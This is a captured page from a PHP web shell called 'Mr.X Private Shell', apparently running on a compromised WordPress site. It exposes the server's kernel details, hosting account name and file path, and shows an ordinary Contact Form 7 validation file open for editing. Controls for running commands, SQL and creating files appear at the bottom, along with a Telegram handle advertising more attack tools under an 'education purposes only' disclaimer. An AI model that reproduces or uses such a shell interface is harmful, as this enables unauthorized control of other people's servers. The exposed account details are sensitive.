Uname: Linux webm005.cluster107.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
User: 6036 (villadal)
Group: 100 (users)
Disabled functions: NONE
Safe mode: On[ PHPinfo ]
//home/villadal/www/wp-content/plugins/contact-form-7/includes/swv/rules      ( Reset | Go to )
File Name: minfilesize.php
Edit
<?php

class WPCF7_SWV_MinFileSizeRule extends WPCF7_SWV_Rule {

    const 
rule_name 'minfilesize';

    public function 
matches$context ) {
        if ( 
false === parent::matches$context ) ) {
            return 
false;
        }

        if ( empty( 
$context['file'] ) ) {
            return 
false;
        }

        return 
true;
    }

    public function 
validate$context ) {
        
$field $this->get_property'field' );
        
$input = isset( $_FILES[$field]['size'] ) ? $_FILES[$field]['size'] : '';
        
$input wpcf7_array_flatten$input );
        
$input wpcf7_exclude_blank$input );

        if ( empty( 
$input ) ) {
            return 
true;
        }

        
$threshold $this->get_property'threshold' );

        if ( 
array_sum$input ) < $threshold ) {
            return new 
WP_Error'wpcf7_invalid_minfilesize',
                
$this->get_property'error' )
            );
        }

        return 
true;
    }

}

All system for education purposes only. For more tools: Telegram @jackleet

Mr.X Private Shell

Logo
-
New File | New Folder
Command
SQL